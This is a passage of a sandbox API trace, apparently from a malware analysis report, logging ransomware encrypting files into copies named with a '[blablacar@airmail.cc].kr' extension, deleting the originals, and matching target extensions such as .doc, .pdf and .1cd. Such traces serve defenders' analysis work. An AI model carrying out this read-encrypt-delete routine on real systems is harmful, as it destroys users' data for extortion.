lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0081.528] WriteFile (in: hFile=0x2ec, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0081.532] ReadFile (in: hFile=0x2f4, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.532] WriteFile (in: hFile=0x2ec, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0081.533] SetEndOfFile (hFile=0x2ec) returned 1 [0081.533] CloseHandle (hObject=0x2ec) returned 1 [0081.541] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.541] SetEndOfFile (hFile=0x2f4) returned 1 [0082.196] CloseHandle (hObject=0x2f4) returned 1 [0082.197] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0082.197] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0082.198] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.198] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.198] lstrlenW (lpString=".doc") returned 4 [0082.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.198] lstrlenW (lpString=".docx") returned 5 [0082.198] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0082.198] lstrlenW (lpString=".pdf") returned 4 [0082.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.198] lstrlenW (lpString=".xls") returned 4 [0082.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.198] lstrlenW (lpString=".xlsx") returned 5 [0082.198] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0082.198] lstrlenW (lpString=".ppt") returned 4 [0082.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.198] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.198] lstrlenW (lpString=".zip") returned 4 [0082.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.198] lstrlenW (lpString=".rar") returned 4 [0082.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.199] lstrlenW (lpString=".bz2") returned 4 [0082.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.199] lstrlenW (lpString=".7z") returned 3 [0082.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.199] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.199] lstrlenW (lpString=".dbf") returned 4 [0082.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.199] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.199] lstrlenW (lpString=".1cd") returned 4 [0082.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.199] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.199] lstrlenW (lpString=".jpg") returned 4 [0082.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.199] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.199] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.199] lstrlenW (lpString=".doc") returned 4 [0082.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.199] lstrlenW (lpString=".docx") returned 5 [0082.199] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0082.199] lstrlenW (lpString=".pdf") returned 4 [0082.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.199] lstrlenW (lpString=".xls") returned 4 [0082.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.199] lstrlenW (lpString=".xlsx") returned 5 [0082.199] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0082.199] lstrlenW (lpString=".ppt") returned 4 [0082.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.200] lstrlenW (lpString=".zip") returned 4 [0082.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.200] lstrlenW (lpString=".rar") returned 4 [0082.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.200] lstrlenW (lpString=".bz2") returned 4 [0082.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.200] lstrlenW (lpString=".7z") returned 3 [0082.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.200] lstrlenW (lpString=".dbf") returned 4 [0082.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.200] lstrlenW (lpString=".1cd") returned 4 [0082.200] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0082.200] lstrlenW (lpString=".jpg") returned 4 [0082.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.200] lstrcmpiW (lpString1=".MARKER", lpString2=".kr") returned 1 [0082.201] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0082.201] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0082.202] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=0) returned 1 [0082.202] CloseHandle (hObject=0x2f4) returned 1 [0082.202] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.202] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.202] lstrlenW (lpString=".doc") returned 4 [0082.202] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0082.202] lstrlenW (lpString=".docx") returned 5 [0082.202] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0082.202] lstrlenW (lpString=".pdf") returned 4 [0082.202] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString=".xls") returned 4 [0082.203] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString=".xlsx") returned 5 [0082.203] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0082.203] lstrlenW (lpString=".ppt") returned 4 [0082.203] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString=".zip") returned 4 [0082.203] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString=".rar") returned 4 [0082.203] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString=".bz2") returned 4 [0082.203] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString=".7z") returned 3 [0082.203] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString=".dbf") returned 4 [0082.203] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString=".1cd") returned 4 [0082.203] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString=".jpg") returned 4 [0082.203] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.203] lstrlenW (lpString=".doc") returned 4 [0082.203] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".docx") returned 5 [0082.204] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0082.204] lstrlenW (lpString=".pdf") returned 4 [0082.204] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".xls") returned 4 [0082.204] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".xlsx") returned 5 [0082.204] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0082.204] lstrlenW (lpString=".ppt") returned 4 [0082.204] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.204] lstrlenW (lpString=".zip") returned 4 [0082.204] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".rar") returned 4 [0082.204] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".bz2") returned 4 [0082.204] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString=".7z") returned 3 [0082.204] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0082.204] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.204] lstrlenW (lpString=".dbf") returned 4 [0082.204] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.204] lstrlenW (lpString=".1cd") returned 4 [0082.204] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0082.204] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0082.204] lstrlenW (lpString=".jpg") returned 4 [0082.204] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0082.205] Sleep (dwMilliseconds=0x64) [0083.842] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0083.842] lstrlenW (lpString="SetupResources.dll") returned 18 [0083.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.843] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=17240) returned 1 [0083.843] CloseHandle (hObject=0x318) returned 1 [0083.844] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0083.844] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.844] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.844] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.844] GetLastError () returned 0x0 [0083.845] ReadFile (in: hFile=0x318, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4358, lpOverlapped=0x0) returned 1 [0083.854] WriteFile (in: hFile=0x31c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4360, lpOverlapped=0x0) returned 1 [0083.856] ReadFile (in: hFile=0x318, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.856] WriteFile (in: hFile=0x31c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0083.856] SetEndOfFile (hFile=0x31c) returned 1 [0083.856] CloseHandle (hObject=0x31c) returned 1 [0083.858] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.858] SetEndOfFile (hFile=0x318) returned 1 [0083.859] CloseHandle (hObject=0x318) returned 1 [0083.859] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.860] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0083.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.860] lstrlenW (lpString=".doc") returned 4 [0083.860] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".docx") returned 5 [0083.860] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0083.860] lstrlenW (lpString=".pdf") returned 4 [0083.860] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.860] lstrlenW (lpString=".xls") returned 4 [0083.860] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString=".xlsx") returned 5 [0083.861] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0083.861] lstrlenW (lpString=".ppt") returned 4 [0083.861] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString=".zip") returned 4 [0083.861] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString=".rar") returned 4 [0083.861] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString=".bz2") returned 4 [0083.861] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString=".7z") returned 3 [0083.861] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString=".dbf") returned 4 [0083.861] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString=".1cd") returned 4 [0083.861] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString=".jpg") returned 4 [0083.861] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.861] lstrlenW (lpString=".doc") returned 4 [0083.861] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString=".docx") returned 5 [0083.862] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0083.862] lstrlenW (lpString=".pdf") returned 4 [0083.862] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString=".xls") returned 4 [0083.862] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString=".xlsx") returned 5 [0083.862] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0083.862] lstrlenW (lpString=".ppt") returned 4 [0083.862] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.862] lstrlenW (lpString=".zip") returned 4 [0083.862] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString=".rar") returned 4 [0083.862] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.862] lstrlenW (lpString=".bz2") returned 4 [0083.862] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.862] lstrlenW (lpString=".7z") returned 3 [0083.862] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.862] lstrlenW (lpString=".dbf") returned 4 [0083.862] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.862] lstrlenW (lpString=".1cd") returned 4 [0083.862] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0083.862] lstrlenW (lpString=".jpg") returned 4 [0083.863] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.863] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0083.863] lstrlenW (lpString="SetupResources.dll") returned 18 [0083.863] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.864] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=14168) returned 1 [0083.864] CloseHandle (hObject=0x318) returned 1 [0083.864] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0083.864] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0083.864] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.864] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.865] GetLastError () returned 0x0 [0083.865] ReadFile (in: hFile=0x318, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x3758, lpOverlapped=0x0) returned 1 [0083.867] WriteFile (in: hFile=0x31c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x3760, lpOverlapped=0x0) returned 1 [0083.868] ReadFile (in: hFile=0x318, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.868] WriteFile (in: hFile=0x31c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0083.868] SetEndOfFile (hFile=0x31c) returned 1 [0083.868] CloseHandle (hObject=0x31c) returned 1 [0083.874] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.874] SetEndOfFile (hFile=0x318) returned 1 [0083.875] CloseHandle (hObject=0x318) returned 1 [0083.875] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.876] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0083.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.876] lstrlenW (lpString=".doc") returned 4 [0083.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.876] lstrlenW (lpString=".docx") returned 5 [0083.876] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0083.876] lstrlenW (lpString=".pdf") returned 4 [0083.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.876] lstrlenW (lpString=".xls") returned 4 [0083.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.876] lstrlenW (lpString=".xlsx") returned 5 [0083.876] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0083.876] lstrlenW (lpString=".ppt") returned 4 [0083.877] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString=".zip") returned 4 [0083.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.877] lstrlenW (lpString=".rar") returned 4 [0083.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.877] lstrlenW (lpString=".bz2") returned 4 [0083.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.877] lstrlenW (lpString=".7z") returned 3 [0083.877] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString=".dbf") returned 4 [0083.877] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString=".1cd") returned 4 [0083.877] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString=".jpg") returned 4 [0083.877] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.877] lstrlenW (lpString=".doc") returned 4 [0083.877] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.877] lstrlenW (lpString=".docx") returned 5 [0083.877] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0083.877] lstrlenW (lpString=".pdf") returned 4 [0083.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.878] lstrlenW (lpString=".xls") returned 4 [0083.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.878] lstrlenW (lpString=".xlsx") returned 5 [0083.878] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0083.878] lstrlenW (lpString=".ppt") returned 4 [0083.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.878] lstrlenW (lpString=".zip") returned 4 [0083.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.878] lstrlenW (lpString=".rar") returned 4 [0083.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.878] lstrlenW (lpString=".bz2") returned 4 [0083.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.878] lstrlenW (lpString=".7z") returned 3 [0083.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.878] lstrlenW (lpString=".dbf") returned 4 [0083.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.878] lstrlenW (lpString=".1cd") returned 4 [0083.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0083.878] lstrlenW (lpString=".jpg") returned 4 [0083.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.879] Sleep (dwMilliseconds=0x64) [0084.317] lstrcmpiW (lpString1=".dll", 